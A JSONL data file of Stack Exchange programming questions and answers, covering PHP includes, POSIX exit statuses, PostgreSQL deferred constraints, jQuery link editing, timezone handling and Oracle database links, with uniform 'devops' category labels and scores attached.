{"id": "hf_8a0bd240445d", "question": "<p>Is there a way to get rid of the selection rectangle when clicking a link which does not refresh the current page entirely?</p>\n", "question_body": "", "answer": "Try adding this:\n```\n```\nonclick=\"this.blur()\"\n```\n```\nDiscussed here as well\n(CSS?) Eliminating browser's 'selected' lines around a hyperlinked image?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.633020"}
{"id": "hf_718bb1c4914c", "question": "<p>If I have $var defined in Page1.php and in Page2.php I have</p>\n\n<pre>\n//Page2.php\ninclude('Page1.php');\n\necho $var;\n</pre>\n\n<p>For what reasons will it not print the value of $var to the screen?  The files are in the same directory so paths shouldn't be the issue.   I've checked the php.ini file and nothing really jumps out at me.  Any ideas?</p>\n", "question_body": "", "answer": "Possible causes:\nThe current working path isn't always the same as the file's. For example, if Page2.php is being included at a higher level, that higher level will be the path. Either make sure you've loaded Page2.php directly or move Page1.php accordingly.\nMake sure\n```\n$var\n```\nis really what you expect it to be. Echo it in Page1.php to confirm. (this also checks the right file is being included)\nIf the source isn't really this simple, make sure you're not undefining/clearing\n```\n$var\n```\nanywhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.681346"}
{"id": "hf_3c63ba925304", "question": "<p>I am sure to become a scrum master could really add value to the process I am following, however I believe that the background of the area of the application I am working on help more to get better planning and scheduling done for the project</p>\n", "question_body": "", "answer": "Becoming a CSM doesn't really qualify you for running a Scrum project either.  Practice is the only preparation you can ever hope for.\nThe CSM class/cert\nis\nvaluable still, though.  At the very least, if you don't have a mentor/coach to lean on, you should read..\nAgile Project Management with Scrum (Schwaber)\nAgile Estimation and Planning (Cohn)\nUser Stories Applied (Cohn)\nand take the CSM course.  You'll be moderately prepared to run a Scrum project.\nThe biggest thing you can take away from this is:  you'll make mistakes if you're new to this.  If you can learn some pitfalls and see what to avoid, then you can avoid the cost of making/learning from these mistakes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.716812"}
{"id": "hf_9559b1c4f9f9", "question": "<p>Like the title says, If I place an <code>app_offline.htm</code> in the application root, will it cut off currently running requests, or just new ones?</p>\n", "question_body": "", "answer": "From ScottGu's blog:\nBasically, if you place a file with\n  this name in the root of a web\n  application directory,\nASP.NET 2.0\n  will shut-down the application, unload\n  the application domain from the\n  server, and stop processing any new\n  incoming requests for that\n  application\n.  ASP.NET will also then\n  respond to all requests for dynamic\n  pages in the application by sending\n  back the content of the\n  app_offline.htm file (for example: you\n  might want to have a “site under\n  construction” or “down for\n  maintenance” message).\nApp_Offline.htm - ScottGu's Blog\nSo, it seems like it will continue processing current request, but stop new incoming requests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.740163"}
{"id": "hf_edb7b18e8e8e", "question": "<p>If yes, on which operating system, shell or whatever?</p>\n\n<p>Consider the following java program (I'm using java just as an example, any language would be good for this question, which is more about operation systems):</p>\n\n<pre><code>public class ExitCode {\n    public static void main(String args[]) {\n        System.exit(Integer.parseInt(args[0]));\n    }\n}\n</code></pre>\n\n<p>Running it on Linux and bash, it returns always values less equal 255, e.g. (<code>echo $?</code> prints the exit code of the previous executed command)</p>\n\n<pre><code>&gt; java ExitCode 2; echo $?\n2\n\n&gt; java ExitCode 128; echo $?\n128\n\n&gt; java ExitCode 255; echo $?\n255\n\n&gt; java ExitCode 256; echo $?\n0\n\n&gt; java ExitCode 65536; echo $?\n0\n</code></pre>\n\n<hr>\n\n<p>EDITED: the (only, so far) answer below fully  explain what happens on UNIXes. I'm still wondering about other OSes.</p>\n", "question_body": "", "answer": "Using\n```\nwait()\n```\nor\n```\nwaitpid()\n```\nIt is not possible on Unix and derivatives using POSIX functions like\n```\nwait()\n```\nand\n```\nwaitpid()\n```\n.  The exit status information returned consists of two 8-bit fields, one containing the exit status, and the other containing information about the cause of death (0 implying orderly exit under program control, other values indicating that a signal killed it, and indicating whether a core was dumped).\nUsing\n```\nsigaction()\n```\nwith\n```\nSA_SIGINFO\n```\nIf you work hard, and read the POSIX specification of\n```\nsigaction()\n```\nand\n```\n<signal.h>\n```\nand\nSignal Actions\n, you will find that you can get hold of the 32-bit value passed to\n```\nexit()\n```\nby a child process.   However, it is not completely straight-forward.\n```\n```\n#include <errno.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/wait.h>\n#include <time.h>\n#include <unistd.h>\n\nstatic siginfo_t sig_info = { 0 };\nstatic volatile sig_atomic_t sig_num = 0;\nstatic void *sig_ctxt = 0;\n\nstatic void catcher(int signum, siginfo_t *info, void *vp)\n{\n    sig_num = signum;\n    sig_info = *info;\n    sig_ctxt = vp;\n}\n\nstatic void set_handler(int signum)\n{\n    struct sigaction sa;\n    sa.sa_flags = SA_SIGINFO;\n    sa.sa_sigaction = catcher;\n    sigemptyset(&sa.sa_mask);\n\n    if (sigaction(signum, &sa, 0) != 0)\n    {\n        int errnum = errno;\n        fprintf(stderr, \"Failed to set signal handler (%d: %s)\\n\", errnum, strerror(errnum));\n        exit(1);\n    }\n}\n\nstatic void prt_interrupt(FILE *fp)\n{\n    if (sig_num != 0)\n    {\n        fprintf(fp, \"Signal %d from PID %d (status 0x%.8X; UID %d)\\n\",\n                sig_info.si_signo, (int)sig_info.si_pid, sig_info.si_status,\n                (int)sig_info.si_uid);\n        sig_num = 0;\n    }\n}\n\nstatic void five_kids(void)\n{\n    const int base = 0xCC00FF40;\n    for (int i = 0; i < 5; i++)\n    {\n        pid_t pid = fork();\n        if (pid < 0)\n            break;\n        else if (pid == 0)\n        {\n            printf(\"PID %d - exiting with status %d (0x%.8X)\\n\",\n                   (int)getpid(), base + i, base + i);\n            exit(base + i);\n        }\n        else\n        {\n            int status = 0;\n            pid_t corpse = wait(&status);\n            if (corpse != -1)\n                printf(\"Child: %d; Corpse: %d; Status = 0x%.4X - waited\\n\", pid, corpse, (status & 0xFFFF));\n            struct timespec nap = { .tv_sec = 0, .tv_nsec = 1000000 }; // 1 millisecond\n            nanosleep(&nap, 0);\n            prt_interrupt(stdout);\n            fflush(0);\n        }\n    }\n}\n\nint main(void)\n{\n    set_handler(SIGCHLD);\n    five_kids();\n}\n```\n```\nWhen run (program\n```\nsigexit73\n```\ncompiled from\n```\nsigexit73.c\n```\n), this produces output like:\n```\n```\n$ sigexit73\nPID 26599 - exiting with status -872349888 (0xCC00FF40)\nSignal 20 from PID 26599 (status 0xCC00FF40; UID 501)\nChild: 26600; Corpse: 26599; Status = 0x4000 - waited\nPID 26600 - exiting with status -872349887 (0xCC00FF41)\nSignal 20 from PID 26600 (status 0xCC00FF41; UID 501)\nChild: 26601; Corpse: 26600; Status = 0x4100 - waited\nPID 26601 - exiting with status -872349886 (0xCC00FF42)\nSignal 20 from PID 26601 (status 0xCC00FF42; UID 501)\nChild: 26602; Corpse: 26601; Status = 0x4200 - waited\nPID 26602 - exiting with status -872349885 (0xCC00FF43)\nSignal 20 from PID 26602 (status 0xCC00FF43; UID 501)\nChild: 26603; Corpse: 26602; Status = 0x4300 - waited\nPID 26603 - exiting with status -872349884 (0xCC00FF44)\nSignal 20 from PID 26603 (status 0xCC00FF44; UID 501)\n$\n```\n```\nWith the one millisecond call to\n```\nnanosleep()\n```\nremoved, the output is apt to look like:\n```\n```\n$ sigexit73\nsigexit23\nPID 26621 - exiting with status -872349888 (0xCC00FF40)\nSignal 20 from PID 26621 (status 0xCC00FF40; UID 501)\nChild: 26622; Corpse: 26621; Status = 0x4000 - waited\nPID 26622 - exiting with status -872349887 (0xCC00FF41)\nPID 26623 - exiting with status -872349886 (0xCC00FF42)\nSignal 20 from PID 26622 (status 0xCC00FF41; UID 501)\nChild: 26624; Corpse: 26623; Status = 0x4200 - waited\nSignal 20 from PID 26623 (status 0xCC00FF42; UID 501)\nChild: 26625; Corpse: 26622; Status = 0x4100 - waited\nPID 26624 - exiting with status -872349885 (0xCC00FF43)\nPID 26625 - exiting with status -872349884 (0xCC00FF44)\n$\n```\n```\nNote that there are only three lines starting\n```\nSignal\n```\nhere, and also only three lines ending\n```\nwaited\n```\n; some of the signals and exit statuses are lost.  This is likely to be because of timing issues between the\n```\nSIGCHLD\n```\nsignals being set to the parent process.\nHowever, the key point is that 4 bytes of data can be transmitted in the\n```\nexit()\n```\nstatus when the code uses\n```\nsigaction()\n```\n,\n```\nSIGCHLD\n```\n,\n```\nSA_SIGINFO\n```\nto track the status.\nJust for the record, the testing was performed on a MacBook Pro running macOS Mojave 10.14.6, using GCC 9.2.0 and XCode 11.3.1.  The code is also available in my\nSOQ\n(Stack Overflow Questions) repository on GitHub as file\n```\nsigexit73.c\n```\nin the\nsrc/so-1843-7779\nsub-directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.775572"}
{"id": "hf_becf8d28b07f", "question": "<p>I'm primarily interested in pgsql for this, but I was wondering if there is a way in any RDBMS to do an insert operation, <em>without</em> disabling and re-enabling any FOREIGN KEY or NOT NULL constraints, on two tables that refer to each other.  (You might think of this as a chicken that was somehow born from its own egg.)</p>\n\n<p>For a practical example, if you had a multiple-choice quiz system, with tables \"question\" and \"answer\", where question.correct_answer refers to answer.id, and answer.question refers to question.id, is it possible to add a question and its answers simultaneously?</p>\n\n<p>(For the record, I'm aware that you can do the disabling and re-enabling in a transaction block, and that another solution is to not have a correct_answer column but instead have answer.correct as a boolean and have a check constraint making sure there's exactly one correct answer per question.  But I'm not curious about alternative solutions here.)</p>\n", "question_body": "", "answer": "I think that you answered your own question - you have to make a transaction block. In PostgreSQL this should work:\n```\n```\nBEGIN;\n  SET CONSTRAINTS ALL DEFERRED;\nINSERT INTO questions (questionid, answerid, question)\n  VALUES (1, 100, 'How long are Abraham Lincoln\\'s legs?');\nINSERT INTO answers (answerid, questionid, answer)\n  VALUES (100, 1, 'Long enough to reach the ground.');\nCOMMIT;\n```\n```\nIt has to be in a transaction block because if either INSERT statement failed the database would be in an invalid state (table constraints not met).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.812489"}
{"id": "hf_b5ac8dc3f64c", "question": "<p>Does anyone know a way to convert from VB6 code to C#?</p>\n<p>Is there a tool that can do this for me?</p>\n<p>Is there any migration process that I can follow to do this?</p>\n", "question_body": "", "answer": "VisualStudio offers (or at least offered) a wizard to do a conversion from VB6 to VB.NET (which could then be converted to C# with a bit of work, possibly helped by #develop's VB.NET <-> C# converter), but when last I used it, for anything non-trivial there was a lot of manual work needing to be done so I suspect you're probably better rewriting or porting by hand if this is a large and/or important application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.859852"}
{"id": "hf_c658f214572a", "question": "<p>Why is it that there are two kinds of references in xaml.</p>\n\n<p>One looks like this:</p>\n\n<pre><code>xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n</code></pre>\n\n<p>But mine look like this:</p>\n\n<pre><code>xmlns:WPFToolKit=\"clr-namespace:Microsoft.Windows.Controls;assembly=WPFToolkit\"\n</code></pre>\n\n<p>Why can't I do this:</p>\n\n<pre><code>xmlns:local=\"http://myschema.mydomain.com/MyControlNamespace\n</code></pre>\n\n<p>Thanks to <a href=\"https://stackoverflow.com/users/7116/sixlettervariables\">ixlettervariables</a> for the answer. Here's a detailed explanation <a href=\"http://codingcontext.wordpress.com/2008/10/09/consolidating-xaml-namespaces/\" rel=\"nofollow noreferrer\">here</a></p>\n", "question_body": "", "answer": "The second instance is basically an unmapped, but explicit reference to a namespace in an assembly. The first instance is a mapped reference to a namespace in some assembly referenced by your project.\nXAML Namespaces and Namespace Mapping\n, over at MSDN explains this in more detail:\nWPF defines a CLR attribute that is consumed by XAML processors in order to map multiple CLR namespaces to a single XML namespace. This attribute,\nXmlnsDefinitionAttribute\n, is placed at the assembly level in the source code that produces the assembly. The WPF assembly source code uses this attribute to map the various common namespaces, such as System.Windows and System.Windows.Controls, to the\nhttp://schemas.microsoft.com/winfx/2006/xaml/presentation\nnamespace.\nTherefore, by adding the following to your assembly you could do just that:\n```\n```\n[assembly:XmlnsDefinition(\"http://myschema.mydomain.com/MyControlNamespace\", \"My.Control.Namespace\")]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.898527"}
{"id": "hf_7b1b71973c2a", "question": "<p>I've used XNA and Visual Studio 2005 integrated with Flash.  I'm curious to see what environments other people use and prefer.</p>\n", "question_body": "", "answer": "Same. XNA 2.0 in VS2005 or XNA 3.0 in VS2008.\nI've also dabbled in darkGDK when I feel like some C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.921864"}
{"id": "hf_f0fe6ea3e535", "question": "<p>In SQL Server 2017, you can use this syntax, but not in earlier versions:</p>\n\n<pre><code>SELECT Name = TRIM(Name) FROM dbo.Customer;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT LTRIM(RTRIM(Names)) AS Names FROM Customer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.944524"}
{"id": "hf_d59ca9f92fa9", "question": "<p>I want to take the value stored in a 32 bit unsigned int, put it into four chars and then store the integer value of each of these chars in a string.</p>\n\n<p>I think the first part goes like this:</p>\n\n<pre><code>char a = orig &lt;&lt; 8;\nchar b = orig &lt;&lt; 8;\nchar c = orig &lt;&lt; 8;\nchar d = orig &lt;&lt; 8;\n</code></pre>\n", "question_body": "", "answer": "Not quite:\n```\n```\nchar a = orig & 0xff;\norig >>= 8;\nchar b = orig & 0xff;\norig >>= 8;\nchar c = orig & 0xff;\norig >>= 8;\nchar d = orig & 0xff;\n```\n```\nNot exactly sure what you mean by \"store the integer values of each of these values into a string.  Do you want turn\n```\n0x10111213\n```\ninto\n```\n\"16 17 18 19\"\n```\n, or what?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.979750"}
{"id": "hf_c62109419789", "question": "<p>I have an array <code>NSMutableArray</code> with happy objects. These objects viciously turn on (leak) me whenever I try to clear the array of all the objects and repopulate it.</p>\n\n<p>It's allocated in the init function like so</p>\n\n<pre><code>self.list = [NSMutableArray array];\n</code></pre>\n\n<p>The different methods I have used to clear it out include:</p>\n\n<pre><code>self.list = nil;\nself.list = [NSMutableArray array];\n</code></pre>\n\n<p>and</p>\n\n<pre><code>[self.eventList removeAllObjects];\n</code></pre>\n\n<p>Explicitly allocating and releasing the array doesn't work either. The leak ONLY occurs when I try to reset the list.</p>\n\n<p>Am I missing a step when resetting or is this a different problem?</p>\n", "question_body": "", "answer": "what does your\n```\n@property\n```\ndeclaration look like? are you synthesizing the accessors? If so, you need\n```\n@property(retain)\n```\n. I'm assuming that when you say the objects are turning on you, you're referring to a core dump\n```\n(EXC\\_BAD\\_ACCESS)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.003301"}
{"id": "hf_c9f9e9a24c8c", "question": "<p>What is the best way to get a file (in this case, a .PDF, but any file will do) from a WebResponse and put it into a MemoryStream?  Using .GetResponseStream() from WebResponse gets a Stream object, but if you want to convert that Stream to a specific type of stream, what do you do?</p>\n", "question_body": "", "answer": "Copied this from the web a year or so ago.\n```\n```\n//---------- Start HttpResponse\nif(objHttpWebResponse.StatusCode == HttpStatusCode.OK)\n    {\n        //Get response stream\n        objResponseStream = objHttpWebResponse.GetResponseStream();\n\n        //Load response stream into XMLReader\n        objXMLReader = new XmlTextReader(objResponseStream);\n\n        //Declare XMLDocument\n        XmlDocument xmldoc = new XmlDocument();\n        xmldoc.Load(objXMLReader);\n\n        //Set XMLResponse object returned from XMLReader\n        XMLResponse = xmldoc;\n\n        //Close XMLReader\n        objXMLReader.Close();\n    }\n\n    //Close HttpWebResponse\n    objHttpWebResponse.Close();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.038486"}
{"id": "hf_c0aa2317b7b9", "question": "<p>There are some updates with .NET 3.0 concerning how to create and use add-ins for your own applications. I read about some \"<em>pipeline</em>\" you have to create for the communication between add-in and host-application but couldn't find further information about it.</p>\n\n<p>How would you made an add-in functionality in an application with .NET 3.0/3.5?</p>\n\n<p><strong>Additional information if necessary</strong>: The host application is made with WPF and some general functionality. Each add-in should add a own register-tab to a given container with their own content (buttons, textfields, ...) and methods to extend the host-application.</p>\n", "question_body": "", "answer": "In addition to\nDaniels\ncodeplex link, Jason He also has a nice wee series on using the System.AddIn namespace when developing Paint.NET starting here -\nhttp://blogs.msdn.com/zifengh/archive/2007/01/04/addin-model-in-paint-net-1-introduction.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.062139"}
{"id": "hf_bfbbbf6cc486", "question": "<p>Is there a way to take a class name and convert it to a string in C#? </p>\n\n<p>As part of the Entity Framework, the .Include method takes in a dot-delimited list of strings to join on when performing a query. I have the class model of what I want to join, and for reasons of refactoring and future code maintenance, I want to be able to have compile-time safety when referencing this class.</p>\n\n<p>Thus, is there a way that I could do this:</p>\n\n<pre><code>class Foo\n{\n}\n\ntblBar.Include ( Foo.GetType().ToString() );\n</code></pre>\n\n<p>I don't think I can do GetType() without an instance. Any ideas?</p>\n", "question_body": "", "answer": "You can't use\n```\n.GetType()\n```\nwithout an instance because\n```\nGetType\n```\nis a method.\nYou can get the name from the type though like this:\n```\n```\ntypeof(Foo).Name\n```\n```\nAnd as pointed out by Chris, if you need the assembly qualified name you can use\n```\n```\ntypeof(Foo).AssemblyQualifiedName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.110042"}
{"id": "hf_be57e1c3e25e", "question": "<p>Can anybody recommend a good method for determining the Rect of some wrapped text on an iPhone?  I've tried all the built-in methods for NSString in the 2.1 SDK to no avail.  The size methods never return sizes that allow me to completely fit wrapped text in my custom view.</p>\n\n<p>I'm drawing some user customizable text that should always be as big as possible within the limits of my custom view.  If I can determine the rect needed to completely enclose wrapped text for a given max width and font size, I can raise or lower the font size until the text is just big enough to completely fill the custom view without being clipped.</p>\n\n<p>Any help is much appreciated!</p>\n", "question_body": "", "answer": "NSString's sizeWithFont:constrainedToSize: method might be useful:\n```\n```\nCGSize sizeForText = [theText sizeWithFont:theFont constrainedToSize:CGSizeMake(myMaxWidth, 9999)];\n```\n```\nYou say you've tried all the size methods, but based on your description, it sounds like what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.149386"}
{"id": "hf_4873faca524f", "question": "<p>How can you change the <code>href</code> attribute (link target) for a hyperlink using jQuery?</p>\n", "question_body": "", "answer": "Using\n```\n```\n$(\"a\").attr(\"href\", \"http://www.google.com/\")\n```\n```\nwill modify the href of all hyperlinks to point to Google. You probably want a somewhat more refined selector though. For instance, if you have a mix of link source (hyperlink) and link target (a.k.a. \"anchor\") anchor tags:\n```\n```\n<a name=\"MyLinks\"></a>\n<a href=\"http://www.codeproject.com/\">The CodeProject</a>\n```\n```\n...Then you probably don't want to accidentally add\n```\nhref\n```\nattributes to them. For safety then, we can specify that our selector will only match\n```\n<a>\n```\ntags with an existing\n```\nhref\n```\nattribute:\n```\n```\n$(\"a[href]\") //...\n```\n```\nOf course, you'll probably have something more interesting in mind. If you want to match an anchor with a specific existing\n```\nhref\n```\n, you might use something like this:\n```\n```\n$(\"a[href='http://www.google.com/']\").attr('href', 'http://www.live.com/')\n```\n```\nThis will find links where the\n```\nhref\n```\nexactly matches the string\n```\nhttp://www.google.com/\n```\n. A more involved task might be matching, then updating only part of the\n```\nhref\n```\n:\n```\n```\n$(\"a[href^='http://stackoverflow.com']\")\n   .each(function()\n   { \n      this.href = this.href.replace(/^http:\\/\\/beta\\.stackoverflow\\.com/, \n         \"http://stackoverflow.com\");\n   });\n```\n```\nThe first part selects only links where the href\nstarts\nwith\n```\nhttp://stackoverflow.com\n```\n. Then, a function is defined that uses a simple regular expression to replace this part of the URL with a new one. Note the flexibility this gives you - any sort of modification to the link could be done here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.172772"}
{"id": "hf_dc90e8c5018d", "question": "<p>I have a series of datetime objects and would like to calculate the average delta between them.</p>\n\n<p>For example, if the input was <code>(2008-10-01 12:15:00, 2008-10-01 12:25:00, 2008-10-01 12:35:00)</code>, then the average delta would be exactly 00:10:00, or 10 minutes.</p>\n\n<p>Any suggestions on how to calculate this using Python?</p>\n", "question_body": "", "answer": "As far as algorithms go, that's an easy one.  Just find the max and min datetimes, take the difference, and divide by the number of datetimes you looked at.\nIf you have an array a of datetimes, you can do:\n```\n```\nmx = max(a)\nmn = min(a)\navg = (mx-mn)/(len(a)-1)\n```\n```\nto get back the average difference.\nEDIT:  fixed the off-by-one error", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.196285"}
{"id": "hf_bcabc9ad9700", "question": "<p>By that I mean, what do I need to do to have useful assertions in my code?</p>\n\n<p>MFC is quite easy, i just use ASSERT(something).</p>\n\n<p>What's the non-MFC way?</p>\n\n<p><strong>Edit:</strong> Is it possible to stop assert breaking in assert.c rather than than my file which called assert()?</p>\n\n<p><strong>Edit:</strong> What's the difference between <code>&lt;assert.h&gt;</code> &amp; <code>&lt;cassert&gt;</code>?</p>\n\n<p><strong>Accepted Answer:</strong> Loads of great answers in this post, I wish I could accept more than one answer (or someone would combine them all). So answer gets awarded to Ferruccio (for first answer).</p>\n", "question_body": "", "answer": "```\n```\n#include <cassert>\n\nassert(something);\n```\n```\nand for compile-time checking, Boost's static asserts are pretty useful:\n```\n```\n#include <boost/static_assert.hpp>\n\nBOOST_STATIC_ASSERT(sizeof(int) == 4);  // compile fails if ints aren't 32-bit\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.231217"}
{"id": "hf_46613a24813b", "question": "<p>A few questions on MS Access databases -</p>\n\n<p>Size: Are there limits to the size of an access database?  The reason i ask is that we have an access database that has a few simple tables. The size of the db is about 1GB.  When I do a query on it, i see it taking over 10 minutes to run.  </p>\n\n<p>With proper indexing, should MS Access be able to handle this or are there fundamental limitations to the technology.</p>\n\n<p>This is MS Access XP. </p>\n\n<p>Also, does MS Access support db transactions, commit and rollback?</p>\n", "question_body": "", "answer": "You will get many varied answers here, but in MY OPINION access is just not there as a scalable solution.  It doesn't handle multi-user situations very well, as you start to approach 1Gb in size, stability starts to become a MAJOR concern, and in reality it just doesn't have the performance.\nIn regards to transaction support, please see\nthis Microsoft Artic\nle.\nAlso, here is a article that actually points out a good majority of\nlimitations of access\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.347946"}
{"id": "hf_476d6fe3d454", "question": "<p>In Visual Source Safe 6.0, you could \"reset\" a working folder by setting it to a blank string.  This meant that the working folder would be determined by the working folder of the parent.</p>\n\n<p>How do I do this in Visual Source Safe 2005?</p>\n", "question_body": "", "answer": "This can't be done in the normal VSS 2005 \"Set Working Folder\" dialog.\nHowever, if you\nhold the shift key while invoking the \"Set Working Folder\" dialog\n, it shows the old VSS 6.0 dialog.  Here you can reset the working folder by deleting the string and pressing OK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.394459"}
{"id": "hf_af7984f766c9", "question": "<p>I have a multi-timezone web application that stores all of the datetime values in UTC in the database, when actions happen on the server, I can easily convert the time into UTC.</p>\n\n<p>However, when a client enters a time or time span, what is the best way to detect and store it?</p>\n\n<p>I am currently doing the following:</p>\n\n<ol>\n<li>Get the value of Date.getTimezoneOffset() (javascript) </li>\n<li>Post that to the server-side code via the ICallbackEventHandler on Page.</li>\n<li>Store that value in the session </li>\n<li>On any subsequent request, calculate the output/input datetime value using the client's timezone.</li>\n</ol>\n\n<p>Regardless of the actual implementation, this seems like an in-elegant solution.  Does anyone have a better method?</p>\n", "question_body": "", "answer": "I was doing something very similar, but I now think I prefer to use\njavascript\nto convert all times to local on the client-side. The server will give all times in UTC in the generated page, and the\njavascript\nwill convert it once the page loads.\nThis eliminates confusion on the server-side code, as I always know what time it is (UTC). On the client-side, I'm using\njquery\nand the\n```\neach()\n```\nfunction to format all the time values at once. I write out each of the times as a\nUnix\ntime in a hidden field to make this easy to process with\njquery\n.\nThe only problems I see with this method is that:\na) I don't have a really good date/time formatting routine yet in\njavascript\n, and\nb) if the user has\njavascript\nturned off, then it doesn't work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.451423"}
{"id": "hf_b1db4cbf5d31", "question": "<p>Basically, I'm trying to selectively copy a table from one database to another. I have two different [Oracle] databases (e.g., running on different hosts) with the same schema. I'm interested in a efficient way to load Table A in DB1 with the result of running a select on Table A in DB2. I'm using JDBC, if that's relevant.</p>\n", "question_body": "", "answer": "Use a database link, and use create table as select.\n```\n```\ncreate database link other_db connect to remote_user identified by remote_passwd using remote_tnsname;\n\ncreate table a as select * from a@other_db;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:57.474278"}
